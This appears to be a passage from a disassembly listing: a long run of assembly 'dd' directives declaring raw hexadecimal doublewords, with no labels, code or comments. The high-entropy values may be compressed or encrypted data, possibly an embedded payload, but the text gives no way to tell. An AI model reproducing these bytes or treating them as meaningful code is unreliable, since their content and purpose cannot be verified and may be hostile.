		dd 0A84E3100h, 0CCF12517h, 73021A3Ah, 50685B00h, 0CF1ED0ABh
		dd 0B4A05466h, 0D8A63D1Bh, 43770780h, 18F57661h, 0CE0AF400h
		dd 0E85F6F81h, 0AFDF0A31h, 0A70C22h, 0E3C0B3F0h, 5894D625h
		dd 44655700h, 0CA6337h,	940E4FB6h, 0F2E67A7Bh, 473EBC01h
		dd 0F8C1061h, 6B17E462h, 269900DCh, 6FEA71D5h, 7ED42800h
		dd 70EC8572h, 0FC7512E6h, 0A714F0ADh, 0DAA8EE01h, 3E23FBF4h
		dd 50486FC0h, 0B23AB80Eh, 0DBD3007Ch, 7ACD634h,	0DE07A19Eh
		dd 26AE8EE1h, 0BEC8FBF0h, 0F789003Dh, 7E14AA74h, 0F501CF11h
		dd 0D52EE01h, 5C3C2A90h, 0B8F9FC44h, 6B250599h,	28043AFh
		dd 64EDF29Dh, 8E7091E1h, 8269BBF9h, 8F31BFC5h, 0D7A4E4D4h
		dd 40942F0Ah, 0CA342C86h, 8800D6E6h, 0C3747159h, 0D023BBh
		dd 0BE7A64DEh, 314A8122h, 3C96751Eh, 13D5E200h,	1E8AA337h
		dd 0FF0674h, 0B2033D0h,	2034944h, 2694C7F6h, 0CAF1D81Eh
		dd 0FCF4CCh, 8BA5D8D3h,	0A992C2B5h, 9045FA2Ch, 0B997C002h
		dd 25E8C008h, 26CA39C1h, 0E64AFB82h, 0C680B51h,	1E002792h
		dd 25EB09D3h, 43650Eh, 0CEE7023Fh, 71449D15h, 6CD6811Dh
		dd 0E0B0EE04h, 0C9672C90h, 401E1E87h, 2D8D0055h, 0EDB33E21h
		dd 0A64F5300h, 0DD33E622h, 176300EBh, 0C7E9CAF3h, 0C0009FB8h
		dd 877892CBh, 0E690F13h, 0AFEC166h, 33C2E542h, 651DE471h
		dd 0E0229A4Eh, 0B3839763h, 88A5006Dh, 0C3983815h, 66135530h
		dd 55005BCBh, 0B637A144h, 31D50C47h, 1038686Ch,	1F8F2000h
		dd 4D9F1C4Ch, 931B12D4h, 3F94F34Ah, 0E9AB83F3h,	0C8AF0C54h
		dd 0EA8FD6h, 0DF2F5764h, 0A5A911B8h, 3D2218C0h,	3CCD6E0Fh
		dd 0B700F583h, 0CF43353Ch, 0BC07960Ah, 6C26867Ah, 5F0CA209h
		dd 0BC788Eh, 46CE77EAh,	5917B684h, 0B32E2A79h, 0E300B0B1h
		dd 357DC2Fh, 0E6210012h, 8C5BD898h, 6BF4DD8Bh, 2817AB00h
		dd 4919BBF2h, 6FC5035Eh, 7CCACEF4h, 0A9E6EED0h,	0F02BE300h
		dd 3BF21B6Ah, 0EBB9023Eh, 6B700D49h, 6438CC60h,	0BB885D0Eh
		dd 0BD9DE09Ah, 3CE434Bh, 0BFA6FAFBh, 0F8E0143Dh, 0D40095C7h
		dd 4F603AD3h, 4EF4512h,	88115EFDh, 0BF7491A3h, 5044D457h
		dd 4D001190h, 0D4C4E53Fh, 60536820h, 0AED1107Fh, 143D873Bh
		dd 4C0E0050h, 0AB3DC822h, 3E63719Bh, 8E805B26h,	8359FB92h
		dd 8700C504h, 49C217F3h, 1FDE4364h, 57A5D982h, 4F3400A4h
		dd 8BB4653Ch, 14486EF4h, 9EE1D6Ch, 62C87B02h, 0D26840A0h
		dd 103B180Dh, 76CB2013h, 0FD1AF700h, 0C3FB669h,	36202EEEh
		dd 7826002Ah, 0AAB8932Bh, 0DF0B409Ch, 42162080h, 26356520h
		dd 46140C1h, 0BB2C4CA0h, 0E3365780h, 830D4BD4h,	35DB3284h
		dd 22896FE0h, 8417B728h, 7BE2FA3Ah, 4F00FB90h, 0C69F441Eh
		dd 55DFBD2h, 35632841h,	7CAEC18Fh, 0E0D040BAh, 27072BE9h
		dd 94C2645Bh, 0E712FB50h, 0D720009Bh, 9304D8Ch,	414EF2A9h
		dd 2EAF4880h, 0A4BA00E5h, 1805639Fh, 0E8B05224h, 97A23C0Bh
		dd 0B48F8031h, 6C3D34h,	0DCA619C4h, 3B3E8D63h, 5BA0600h
		dd 595DA1E1h, 88724BD1h, 0BB00D748h, 4D063249h,	72AEAFEh
		dd 572B60FDh, 427F1080h, 3CB652CAh, 10093A12h, 8AA4E8D6h
		dd 0CBDF0389h, 1A8EFB50h, 0E87FD0A9h, 350079B5h, 0A3A46352h
		dd 0FDDC85h, 9AB07C44h,	47EE270Dh, 69B2BE00h, 3895D3ABh
		dd 625A0072h, 163FF44Eh, 510040A3h, 0AFB17C06h,	8C4BA4h
		dd 796D8589h
		dd 1B305BC4h, 0BC058A00h, 0F0757E10h, 2C3607FEh, 439065D5h
		dd 0A0D583D7h, 9C586774h, 12A805A9h, 508CB924h,	28DDDFh
		dd 3D2DE6D2h, 950093E9h, 6C5C2056h, 1F0558EBh, 83FBE71Ch
		dd 0F0B0F545h, 731F8DE8h, 40FC48h, 0FF6848E6h, 622C3A54h
		dd 715571D2h, 192AC660h, 94D4811Dh, 91FF18B0h, 6026F058h
		dd 59E11128h, 4E008AA5h, 8EBCF716h, 75EBD2h, 31E91470h
		dd 7B503A68h, 48FEA9EAh, 0CD404D03h, 0B82EEA23h, 0EC2B83Bh
		dd 8056F0B5h, 0EF50FECCh, 2842924Bh, 488F97C3h,	68C6AE4h
		dd 0C6974DEh, 6705B8EBh, 97EA1DE6h, 7DC6181Fh, 30A8F2B3h
		dd 0BB08FEA0h, 3A2A5AF0h, 37407026h, 0F65380BAh, 0A53138h
		dd 0D8D75812h, 0C74A80h, 64BA15D3h, 0BBFC6683h,	68936C00h
		dd 0E32C651Dh, 8D8B008Eh, 87335C09h, 300022ADh,	6DE7FB19h
		dd 0B9F9F0h, 0CD89D444h, 2812728Eh, 82F6CF1Dh, 879839C1h
		dd 96D43CFBh, 5E7338F4h, 0BB977480h, 942243AAh,	0C9871B00h
		dd 0B0AF7B8Ah, 0ED083AA8h, 0D7A7E01h, 0E48E5B33h, 0CB2C7060h
		dd 0F41553BCh, 842D1C80h, 28E56984h, 0EF8E0C81h, 0FA3DFh
		dd 2C0BA021h, 34BA7F3Ah, 59B7530Bh, 71668078h, 1509DED2h
		dd 94222FBBh, 0AD35E507h, 82E87712h, 0C960EE99h, 763D87DBh
		dd 45E10184h, 1E9FF5A7h, 5CB86180h, 0F2CA385h, 91B9E00h
		dd 2382CB64h, 2DF0308h,	8B33805Eh, 780445F3h, 26D63A20h
		dd 0F8746B00h, 3C06EABDh, 0D32B3FEFh, 0D75E2020h, 0D19E0C94h
		dd 6C188E24h, 39694711h, 4A018433h, 12EAB91Ah, 8F65D119h
		dd 0C001C821h, 68992543h, 518A6896h, 8B215C24h,	5B9880D7h
		dd 23B7E30Ah, 38CF0E1Ch, 0B80AA31Fh, 0DC88C863h, 2388679Eh
		dd 68A2E50Dh, 3FB40016h, 0C637F829h, 0BCA9242Fh, 0AD8EE8F7h
		dd 8C006CF4h, 2A21D213h, 3B4085Ch, 7F98DB5Ah, 99039F18h
		dd 0E3D3ECC2h, 0D0F58B21h, 10F4511h, 0E6280E80h, 308EEA79h
		dd 0D20150B2h, 549582BCh, 62F7ED4Fh, 46FBC0B1h,	64ECC883h
		dd 753242F8h, 300C5FAh,	0D62BB266h, 1050761h, 1636C093h
		dd 0E880AC12h, 0CDE4E1D7h, 96112733h, 0C868A84Fh, 3BF77B66h
		dd 0E681AE7Ch, 0F4C3D1B6h, 0D4C2C18Ch, 98002558h, 32AD9A07h
		dd 7DBF9F6h, 0D73AC836h, 5B6160FBh, 803E6DBCh, 8091B9D8h
		dd 0CE8E7206h, 3B67EB64h, 608051E4h, 4D453859h,	0F24CC0A2h
		dd 44300035h, 91575876h, 4742003Dh, 37FB8F74h, 0AB02AFA2h
		dd 0C2BF8B6Eh, 0AAC7E0E1h, 4AB80195h, 74B9CDC4h, 1AB7F84Ch
		dd 5E3F9207h, 0FC13A850h, 0BAC7A13Ah, 4079209Fh, 0CA5BE71Ah
		dd 203B4042h, 0DE070075h, 0D01194A0h, 53271E93h, 6B7B00DBh
		dd 58210D4Eh, 435DB901h, 74541F4Ch, 50BB449Bh, 0C0925AC1h
		dd 68032460h, 0B038CE88h, 7143A189h, 8BFB208Eh,	0D339D400h
		dd 7F0037C4h, 6FF0DCDDh, 362851D7h, 0A0285AFEh,	0C024606h
		dd 1E114FFCh, 0C279B02Ch, 5D5C9E25h, 8374663h, 78702157h
		dd 653566h, 0B9CFEB11h,	0CD7A247Bh, 618CFA05h, 8C40A0C5h
		dd 3BDC34E0h, 11474C50h, 0B1F916h, 20BA4F12h, 4307FAAh
		dd 0E5558938h, 6A5E00D9h, 463B7895h, 110C32A5h,	7802FDD8h
		dd 1641004Dh, 97E1D6B3h, 9B009E6Bh, 7645DF84h, 39CC0F17h
		dd 1618A587h, 0A8A3E025h, 3998AE54h, 4860D06h, 0CF03A7Eh
		dd 0DF9E87D7h, 42012728h, 0C638C0D3h, 80CA1EE8h, 1D215DA0h
		dd 0A7D100F7h, 16740422h, 9900B081h, 0CE268659h, 11A3B4Dh
		dd 37DA563h, 0D96CC1B1h, 0FD60F077h, 0EA649603h, 0BF1BA631h
		dd 43759360h, 90ED025Ah, 2801A13Dh, 324F62C0h, 35EB1900h
		dd 9253D06Bh, 0B4BD0363h, 5AF2E0ABh, 0B3F1AFF8h, 6D5C290Bh
		dd 8F300019h, 0BE6109h,	59DF8A43h, 0CE45B568h, 5888DC1Eh
		dd 4B3E2380h, 1CA295AEh, 80E67C85h, 0B3F049ECh,	3C0027D2h
		dd 58203709h, 7B5CD18Bh, 0AC990687h, 11A382B2h,	0C04A256h
		dd 10D5974Dh, 0B7010079h, 64615A2Bh, 0B6C0439Dh, 934A1696h
		dd 5F2E008Fh, 270920D2h, 600A9CDh, 0A8C6F381h, 381997F8h
		dd 0BA831E70h, 591DC87Eh, 4F628680h, 97D32C3Ch,	4B1D6F22h
		dd 15E46082h, 0C2BBC014h, 7B7B81h, 82339D1Ch, 6726AB29h
		dd 31D8C100h, 969CFA19h, 30E307B2h, 69C9CA2Ch, 2DEC1A80h
		dd 0BA00BDF6h, 3DE55A86h, 72CF532h, 55A183AAh, 0BC9F907Ah
		dd 0CC00694Dh, 0D0501703h, 626F6Bh, 2B28C181h, 22042D98h
		dd 443340C0h, 1F6DDAACh, 9E261Ch, 36729916h, 2200204Ch
		dd 0D435721h, 3ADB5C6h,	0DE7F09E5h, 9EE8ED2Eh, 1007CEB3h
		dd 0FD867E1Bh, 77DA50B0h, 4B2A07ACh, 1E224CF1h,	35752AFh
		dd 49ED7132h, 3B0CE803h, 0D0C0102Bh, 0AEFBA0h, 0D6B15430h
		dd 5D48A902h, 8A601F14h, 0C1E800D4h, 0BCF0E6E7h, 3F3005EAh
		dd 41948E49h, 0AF4F1480h, 7C3EF4ECh, 46F22500h,	0FBEDE493h
		dd 0C789E2CBh, 0A0014A29h, 66AF3420h, 54493DB8h, 0C1880004h
		dd 4A19B30Ah, 0C62E386Ch, 0BF671D00h, 3643B904h, 7DFAB200h
		dd 0F658C4C7h, 0F149838h, 7C6A769Fh, 0BE445AA0h, 0C10083E0h
		dd 0C8F0350Ch, 24B7E8EBh, 0B84755h, 5FB842DCh, 0EE00D994h
		dd 8AAEFF66h, 0EAB697h,	85B29D63h, 4EEDE1E2h, 0B024F030h
		dd 2CC0DB38h, 0FAC886Fh, 0ADCA6E50h, 596908DCh,	5FEA3986h
		dd 9A200B90h, 817D3B63h, 5CF740A7h, 0CB4803F3h,	0D866EB3Ch
		dd 98FECE90h, 9B5F300h,	70F00B58h, 0FBA13E89h, 885BD814h
		dd 40F25C1Ch, 0C97EA277h, 3A00AD16h, 72B536E3h,	1704E0h
		dd 86038738h, 78914959h, 253EEC70h, 94CE07A4h, 4D00ED96h
		dd 4CB01002h, 5B001E61h, 26CB186Ch, 71386DADh, 0B1AE82CCh
		dd 40C0990Bh, 0C8EE0900h, 0C4601D81h, 3D8AEDE5h, 9980468Eh
		dd 9E7441B3h, 0D01DCB59h, 3F40533Bh, 751BB094h,	77270047h
		dd 0AC2B6CEh, 1125208h,	38002838h, 25BBAC3Bh, 0FE4E505Fh
		dd 0EA27F88Bh, 260AF4D1h, 830CA26Eh, 8AD8C51h, 620FF0D0h
		dd 9C6C7C00h, 0BE2EA0F9h, 0AEEDE791h, 8D1370h, 0E6B3B269h
		dd 0D4300B5Ch, 11F0A50Fh, 0CC774033h, 7060E4CAh, 2648FA0Ch
		dd 836861h, 6E2BBE97h, 855022C5h, 9B00A5D0h, 7882934Bh
		dd 2C6A2881h, 0F04EF5h,	3A6E1BE0h, 0D002140h, 78F3DB9Dh
		dd 0EE5A715h, 0AE5C6C76h, 903110C7h, 0B512CB4Ch, 92A1C20Eh
		dd 96A8E0D6h, 12478DDAh, 6D9982h, 0BDE15DECh, 0A0F4344Dh
		dd 55FFA703h, 3F60398h,	3E310F58h, 1100E1FCh, 187CD2A5h
		dd 524F8h, 8C49F34Fh, 19267757h, 31FCFE8h, 0A90B630Ah
		dd 0E6E8806Ah, 0F6B751B0h, 92EE1D5Fh, 0B52A8019h, 8AE10DA7h
		dd 770053FEh, 647E7302h, 7B5A0Fh, 8EF7FCBBh, 0CE3F601Bh
		dd 69D11F03h, 0C0BC27B1h, 120DB7ADh, 401A4D08h,	46AFA1D8h
		dd 9D0C4A97h, 2CF55510h, 1F52397Bh, 0ECAE13h, 0EE164714h
		dd 0C203E46Dh, 1D98418Eh, 14A39Bh, 92FF01C1h, 0A18CCAB1h
		dd 0E8B2C700h, 33FBF9DBh, 3C401F1h, 0F3144772h,	9912C0EBh
		dd 586EC606h, 400D31h, 0AE6F7268h, 0B42A85BBh, 810A5D16h
		dd 8C00C712h, 3FF34A8Dh, 62A4A028h, 5D1100D0h, 70DE7B23h
		dd 7520F43Ah, 0FEEAE0h,	0C66778E1h, 8576080Ch, 0C9AED600h
		dd 0FC8229D9h, 84E34D37h, 0E7075300h, 23B640A1h, 0A6046C90h
		dd 0D701FED6h, 187A7D80h, 988A0E0Ch, 51A07276h,	0F9216557h
		dd 81313Ah, 6D84520h, 0D3CF2h, 8C26ACB9h, 3AB8BBF6h, 0F9748092h
		dd 2A1B5500h
		dd 0BDEFDB3Eh, 59C00042h, 4C3047B0h, 460A019Ch,	0B84E7410h
		dd 9B1BF201h, 9EEC4FC3h, 0AFF307A9h, 5B8860h, 0E0B4743Bh
		dd 8FE4F90Fh, 15CA8077h, 0A3E51Dh, 13CEDFF0h, 39E6F3F2h
		dd 8DC9C400h, 2C6E7C2h,	5D29004Ch, 55D90CB0h, 3A02BD11h
		dd 2EEF5619h, 68D460B4h, 0D1B13F0Eh, 0C91C9580h, 0BF156D32h
		dd 0AD698900h, 2C0B91A6h, 6EBD007Bh, 2070D564h,	3C3F6876h
		dd 0C7CF505Ah, 17E13B09h, 2FCC3h, 9D934307h, 262E06F2h
		dd 0C700F2B2h, 0E0A392A5h, 0A1E3C74h, 0E667D680h, 0E3409615h
		dd 22DDA200h, 9B28DF4h,	0A39A04CEh, 0C0FF6A20h,	64A7B794h
		dd 76009198h, 336C6B5Dh, 1DE5F99Bh, 40049812h, 62C84FE9h
		dd 5B003A31h, 0E6B46BC7h, 21FC54h, 0B98909Fh, 6DBB1DCFh
		dd 0D5FA4A00h, 8EE90DC8h, 0E55F031h, 75ED2D87h,	0E514BA5h
		dd 2A80C4F2h, 0FF271AAEh, 0F6934901h, 0BBCFD0E0h, 9658F0h
		dd 0AD4A456Ch, 5A12A1A9h, 0A4638500h, 67654CDCh, 0C4DA4D28h
		dd 701B4B0Bh, 1E12D180h, 0F200DB4Ah, 6C2F0686h,	825DA0h
		dd 0BE32E48Dh, 9583F848h, 7E50FB1Dh, 0E058020Eh, 0B011091Eh
		dd 9A28000Ah, 5131E3BAh, 0F312CBC9h, 3800CD2Dh,	0F4B6A0F8h
		dd 11B86744h, 0F74380F0h, 12182189h, 3018D376h,	99D66001h
		dd 0EE963F23h, 935F5700h, 8C35FCEFh, 0AE2D3899h, 1780A6BFh
		dd 1ECB5E76h, 7407E7EAh, 0EB3153ACh, 10188EF5h,	3EF84C40h
		dd 9E28DCEDh, 0BE50000Ch, 412AA0A8h, 4584FD4h, 5761850Ch
		dd 0ED318D3h, 835AFE30h, 36D40D81h, 89298018h, 0D13FA8ADh
		dd 0EE35003Ah, 0E27967A0h, 5F07E344h, 5A651861h, 111398A0h
		dd 1877889h, 7DC38890h,	0E825C6CCh, 9E009C54h, 20D6B964h
		dd 0EA5D21h, 0DB9069EEh, 81DE76B5h, 70828930h, 25198DD2h
		dd 74348FF6h, 798A048Dh, 0DF80B41Fh, 279344FDh,	69FC3AA0h
		dd 31200F6h, 51809CB6h,	2B008498h, 3CB22F73h, 4081FFh
		dd 0A778CBB7h, 3592E2E0h, 0CF98B800h, 81739E01h, 6E60398Dh
		dd 8E9D4200h, 49FDBF3h,	0FC1BE405h, 65C0A9CEh, 1D3AABD4h
		dd 0D22F2154h, 6625010Bh, 0E51C6D50h, 602F7107h, 0DDEA1B78h
		dd 0AAD22104h, 24C014B3h, 120C4ACh, 0EA43A08Ch,	0F88AC162h
		dd 692E22D3h, 0C000BD4Ch, 55F51ECFh, 61AD4CAAh,	0F8E24900h
		dd 0BBE5C90Ah, 8E5B4138h, 0A0BE1452h, 0FA42511Bh, 50F80024h
		dd 0A2F11E6h, 817758Ah,	180078CAh, 0B82644C4h, 3F33001Fh
		dd 0BB15A9C8h, 0ED078260h, 0E4412208h, 4419D630h, 0B16A0264h
		dd 7F0CA732h, 0C58B44E0h, 8C0168F4h, 1CAD4631h,	0E08173E2h
		dd 74ED85EBh, 0F58C6049h, 7C840B00h, 9E82522h, 95D8A0D4h
		dd 918200F3h, 3D87032Bh, 4B26BC1Dh, 0B280380Fh,	54806196h
		dd 14F1B0E9h, 0D09A1F21h, 2549A300h, 0F0707CC0h, 67E474F5h
		dd 14463A06h, 0F610F5A9h, 0ED8E005Ch, 6F29F32Bh, 0C13EDEB1h
		dd 9A6C001Ah, 0A92E0BBBh, 467DF2h, 2D3BD1EBh, 0ADB5CC30h
		dd 0D7F6C000h, 7055F32Ch, 1DC92EAh, 91D81E87h, 0DC68D93Bh
		dd 0B00701FFh, 6A6B6CD2h, 3E7E0B50h, 7F720074h,	7D90E78h
		dd 9C000C0Ah, 338D1702h, 38EFF24Dh, 0F0802ABCh,	0AF585E4Ch
		dd 890EA3CFh, 8128801Ch, 19840573h, 0B7801C28h,	0C2459817h
		dd 4DB68700h, 6DC0DA8Ch, 8A513C0Eh, 0C77FBD04h,	8F70C317h
		dd 0EABA2A80h, 2FF8731Ch, 0B000E2D3h, 2738A8F6h, 44530055h
		dd 7DA1C676h, 5B2A2554h, 3B00C8F3h, 7B80FF09h, 28FDEF39h
		dd 619056C9h, 8AC3E36h,	113EF48Ch, 9634AE00h, 50B659BCh
		dd 260B7D10h, 0F419FEh,	465A7BC0h, 8B0011D9h, 0CDEA3749h
		dd 605EDA6Ah, 94A150A0h, 0FD0EDD31h, 0A07CD95Ah, 1B10ECE4h
		dd 360F00C2h, 0EFED0660h, 0B012CD6h, 57C1F023h,	52E090ACh
		dd 942D00ECh, 27F96908h, 84147006h, 16D0A4FCh, 2500E5ABh
		dd 63449F8Ch, 0F3AD25C9h, 4B4AC038h, 8CCE2007h,	46C01BD5h
		dd 0FA110268h, 8E30E8Bh, 57670AC1h, 7B8900DBh, 0F602C913h
		dd 7247369h, 54704075h,	875F005Ah, 5DF7CEB0h, 2600A2CBh
		dd 0FDA6E993h, 39962557h, 0B980DE8Bh, 0FFC6181h, 2492A8D0h
		dd 0B5863224h, 0AE413400h, 7E7B46h, 0D7220761h,	0CE43CFA4h
		dd 80F1AC3Ch, 16F40CA6h, 92D6DAh, 5AB2A340h, 0EF6629E5h
		dd 54AD4700h, 0E642E76Ch, 187F004Eh, 7725A572h,	6B033616h
		dd 0FADD7D05h, 73BAB8B6h, 0EE540042h, 0FF2FE614h, 7200909Bh
		dd 7A054153h, 3B781FDFh, 95819277h, 94B82AC4h, 7E68D0ABh
		dd 1A6C58h, 7851E3DFh, 0D1BE15h, 98B583FDh, 0B7C08F8h
		dd 70236A00h, 0CCD889ECh, 0E88F005Eh, 281A2677h, 78E45DDBh
		dd 6200B4FEh, 175642D8h, 0E491B85Eh, 18D00736h,	82348501h
		dd 0B46258F8h, 26D270A0h, 3B0012C2h, 1BD1057Ah,	0D8928Ch
		dd 0CA71A214h, 0B2AC2701h, 8032F03Fh, 0D277CEA4h, 188FFA7h
		dd 4AA0054Bh, 24DB0F5Fh, 5400EFE4h, 0C139E2A6h,	0AC4DB7h
		dd 6D6AB576h, 0E0D39F0Fh, 4B0A821Eh, 65F80B98h,	20B8C1h
		dd 681E6114h, 67F1F229h, 0BF9CFA02h, 0E0217C57h, 4325E7h
		dd 0D39395EDh, 66E96ED8h, 0A98B9828h, 48A96800h, 715E840Ch
		dd 0D27B96h, 0E1C8F1Dh,	3D44B242h, 0DF4ECF00h, 0D0F5B929h
		dd 0B6F7006Ah, 0C2EB508Dh, 1D173351h, 1C5D0D6Ch, 0F50C5200h
		dd 7EAE80A4h, 0D71C0085h, 57604724h, 0D02551E7h, 1CB0140Ah
		dd 0C0ED8115h, 4C8BC878h, 4F64110Fh, 0A4C0C36Ch, 0EE03A397h
		dd 565E000Ch, 0A2EEEB09h, 0C600F225h, 594D396Dh, 39C02092h
		dd 41A55389h, 0E0C2FC87h, 0B1717E63h, 1C48697Dh, 1DD44855h
		dd 3A995D0Ah, 0C4294BB9h, 27660B03h, 43887583h,	0D6101445h
		dd 0FD01FB26h, 34F354F0h, 0CF8B20FCh, 9D2C5D00h, 7D3536C3h
		dd 716A00C9h, 8F596711h, 760E7C73h, 21C26C60h, 36FD5B97h
		dd 38E43C20h, 21004C99h, 85F7ABBEh, 0E1005681h,	31639650h
		dd 4E8A2Eh, 5F833D06h, 823D09Bh, 4A873Bh, 65E8F252h, 12433EFAh
		dd 1630CBh, 0DCC8F97Ch,	3B0069DBh, 0D5CA62ABh, 7F7BF1h
		dd 8736B163h, 541F2881h, 9F314700h, 0AD64AA88h,	0EFFD032Fh
		dd 2D8D56B6h, 20A692F9h, 4876E3D4h, 9C619F09h, 0C16E8093h
		dd 75957B3Eh, 32D400DBh, 37E5646Ch, 7900381Bh, 1790CBC4h
		dd 9402B512h, 34E380D8h, 38199699h, 434505Ch, 1A177B4Ah
		dd 39361100h, 0F50043D0h, 0ACD597FBh, 41E8DFh, 382C4FCCh
		dd 0DEA04502h, 0EEDCA70Fh, 0FF0DA0B5h, 271AA5h,	0B6827BBBh
		dd 8A8581F7h, 2C0038BAh, 4D728722h, 150263Ah, 0CCDDA8E9h
		dd 2021F2EFh, 0B600818Eh, 2BF51FB3h, 4606CEh, 503727DBh
		dd 0D4AF6F8Dh, 0FEF3A938h, 7E1F647Fh, 4392BB1Fh, 0BF6FCC80h
		dd 299D025Ah, 0C5E50134h, 0CEB414E1h, 80FFE3E3h, 0AC9B7504h
		dd 0E4D5B00h, 39644150h, 905D0385h, 7D5C6068h, 0BBD33800h
		dd 0D4ED9AF5h, 3D6E0029h, 0E94D583Bh, 0E11F351Eh, 898020CEh
		dd 0A1A85F54h, 0F993881Ch, 756C4D13h, 40421C4Eh, 48C1F23Ch
		dd 0B77F01BBh, 9851AAE5h, 73096080h, 0A9715615h, 0CE01688h
		dd 83BC8Ch, 938F44E3h, 3B99F8BCh, 0D6B0F513h, 12A73F07h
		dd 5A076A42h, 733F0F0Ch, 0B7005C75h, 0A8AE2ACBh, 452B2C04h
		dd 0D0A43BD4h, 577A009Bh, 90B6F0E2h, 19E8A8F7h,	4C001FFCh
		dd 0E670F7Ch, 5DB830h, 0D66314E2h, 711B021h, 0A0913C00h
		dd 6BEA46DDh, 0E1A1077Eh, 0E35DE828h, 48935196h, 0D7A2881Fh
		dd 0B41804D2h
		dd 0B7E618h, 0EB7AEC86h, 0D4DF4609h, 0FACC003h,	8840586Dh
		dd 0CFC96E7h, 4761725h,	5461B430h, 0A4A65850h, 7C25AC4h
		dd 7B7C2CB1h, 0BC8BC03Dh, 0DC028E0Eh, 0DE634BC8h, 7515E0E6h
		dd 0FB6B3A92h, 2E09CA00h, 3EE5526Ah, 0B8DEAB00h, 48DC66E7h
		dd 0A6BA009Eh, 0D0D1CEFAh, 0EF012B56h, 6E3DE111h, 1B209F10h
		dd 0F668005Fh, 0D4FCA88Eh, 5C3EA1A5h, 0BF0B00ACh, 0A70D7C38h
		dd 0D5722A47h, 0C7F200ACh, 0FE2ACD16h, 5E7773B7h, 21D708CCh
		dd 14795Bh, 0C855539Dh,	12DCD69Bh, 0D717FB18h, 0A0E44B50h
		dd 52A70CE4h, 0E0022C46h, 0C62B2816h, 1411A631h, 0A126E415h
		dd 0F89BB204h, 18802B96h, 308AFD95h, 5329AAE1h,	6131C825h
		dd 0BE4F79D7h, 0C054D705h, 0F759C32Bh, 0E68A9D00h, 2C5B10A9h
		dd 20BF608Ch, 357982D2h, 0CF57EF01h, 97210696h,	21860898h
		dd 350360E5h, 0A7A04030h, 0D8F2E0D3h, 73EF3ED4h, 0E38069EFh
		dd 0E0F79E65h, 30489807h, 8E449B58h, 0B6C8B0h, 0BC9065E4h
		dd 0EF8BE015h, 9114E90Fh, 5A90781Dh, 8C713757h,	7D1B50A0h
		dd 33007C34h, 75912F7h,	1E6C3AE1h, 81B46E79h, 7FE9C243h
		dd 6F8EC870h, 0C722900h, 0D49B45D6h, 57D10010h,	0ACC9178Bh
		dd 66006069h, 244E7712h, 68FC19h, 0B7BD6FEh, 97336293h
		dd 1D9EB300h, 0AB274A11h, 39C9021Eh, 63FBA294h,	57408BC0h
		dd 0EACE6760h, 6358A06h, 97375F7Bh, 6C006839h, 9E708C34h
		dd 6B00C54h, 4C8A24ECh,	76F21C9h, 92FE03CEh, 94783C7Dh
		dd 494BA380h, 585B0A52h, 1A0089F6h, 0A7F7AAEAh,	0EB15EDAh
		dd 9044224Bh, 353CD181h, 18CD30C6h, 366FFD00h, 98EE1233h
		dd 5B9D00C7h, 58AAE608h, 49043B2Dh, 0BB33070h, 253DE0C0h
		dd 0CADCF1D8h, 8E010A45h, 86906AD1h, 0A9103C64h, 0B195E631h
		dd 0F0F5C260h, 0BC81F4h, 0DDFDC740h, 0B66132F8h, 5F8038DEh
		dd 3BB123C2h, 26971F89h, 5585C0A5h, 30348E28h, 0CD3C6707h
		dd 646738D2h, 193A1D90h, 0E4F435h, 7F76151Ch, 785C80FCh
		dd 0B3B00400h, 0BC33EF4Ah, 4E05293h, 182F1280h,	3D002581h
		dd 9CCAAE3Fh, 12968D7Eh, 0E1344Ah, 9A116205h, 0BD06393Ch
		dd 0CB03819Fh, 0C88B3F38h, 0E85560E0h, 0BE00AB80h, 0CB026C4Ch
		dd 1E399926h, 40A65A08h, 41C4E03Bh, 0EF054C01h,	0FEDABFDFh
		dd 46EE203Ch, 688E0375h, 0BB7C59h, 2E6A5CB9h, 4C875491h
		dd 0D73D901Bh, 2F18608h, 42FA3EEh, 0EA83AC5Eh, 0F9D63BFFh
		dd 7A91401Fh, 0C3C7304Eh, 302FC994h, 0B213D08h,	0F3007B04h
		dd 0A318F20Ch, 26142B1h, 7D102BE2h, 848D948Eh, 8D82E088h
		dd 0AE204F1Eh, 63665C0h, 19E54967h, 1848E42Ah, 0A832F412h
		dd 3D1E7F7Ch, 0EF4E6B36h, 82A89854h, 6C585268h,	662E4101h
		dd 0C4BDF55h, 0FD21C0B8h, 74012ED6h, 3A959A3Bh,	5EBB00DBh
		dd 8396D1C6h, 1C130C87h, 5C30BAD2h, 0F4973D2Ah,	0ED3E0FE4h
		dd 18033E9Dh, 3119D171h, 0B4F824EFh, 0A6F34014h, 0E03E4FDh
		dd 0CCAC70A3h, 620830ABh, 0E8FF8A21h, 6700BAF6h, 442EA2F0h
		dd 0FFA6C184h, 1814F8C0h, 0B1D376C2h, 0A13F8C9Eh, 9DF9A4DBh
		dd 0BD40BF01h, 8C437C3Dh, 3481C4D6h, 95DC736Dh,	644E00DAh
		dd 89151749h, 0AD09F8F0h, 0FA71B30h, 46EA220Ch,	0E04440B0h
		dd 3EF290Fh, 0FDA7015Ch, 18AB0EE5h, 0F0D38861h,	0BAC6E800h
		dd 64809F11h, 0F4FB0089h, 9A7F9E49h, 0CB005D13h, 0B9EBCFF0h
		dd 46B05Bh, 69A1AFE6h, 73082E4Bh, 98AE3A28h, 410F0946h
		dd 0DB8417FDh, 3AD52C4Fh, 103FD5Ah, 38775C0Eh, 0F606BDE0h
		dd 0EFCF5D2Eh, 0BA448700h, 50223412h, 0F771805Ch, 84094DDh
		dd 12AAFF1Bh, 7A2F695h,	1B319224h, 8CEA85h, 0ED3DDAA0h
		dd 0E8E27AA6h, 0B45B7024h, 0CCB1FE00h, 2EDDA9h,	81595F34h
		dd 7D9635F1h, 4C973A00h, 0FC5BB033h, 0B8BC09F5h, 1C21BDA8h
		dd 0F00CF913h, 0F40C09D6h, 830CEEBh, 449249h, 650F412Ah
		dd 943F81C9h, 98C10A7Ch, 0E30C2145h, 3302430h, 97854C6Bh
		dd 0F0E3334Ah, 7F3E1918h, 86B7DA70h, 0A61F0CFCh, 88A1F9D3h
		dd 6802BC3Fh, 82A80ACBh, 11CB098h, 30787B8Eh, 5C60481Ch
		dd 0DF8C69F0h, 13350E02h, 0BAA23F82h, 18409BBDh, 84CF4A2h
		dd 6406065Ch, 63B0A68Ah, 7174D14Bh, 0A078129Bh,	0CEF08C93h
		dd 6DC6003Eh, 0C2A5F471h, 6518B4CBh, 6670A1A2h,	197F6C8h
		dd 3B1E91BAh, 0E0BFE339h, 46642EEAh, 74CB3310h,	7444B9DAh
		dd 102E4301h, 0C421C87Ah, 90F6A0CFh, 0E3831EC2h, 837DDD33h
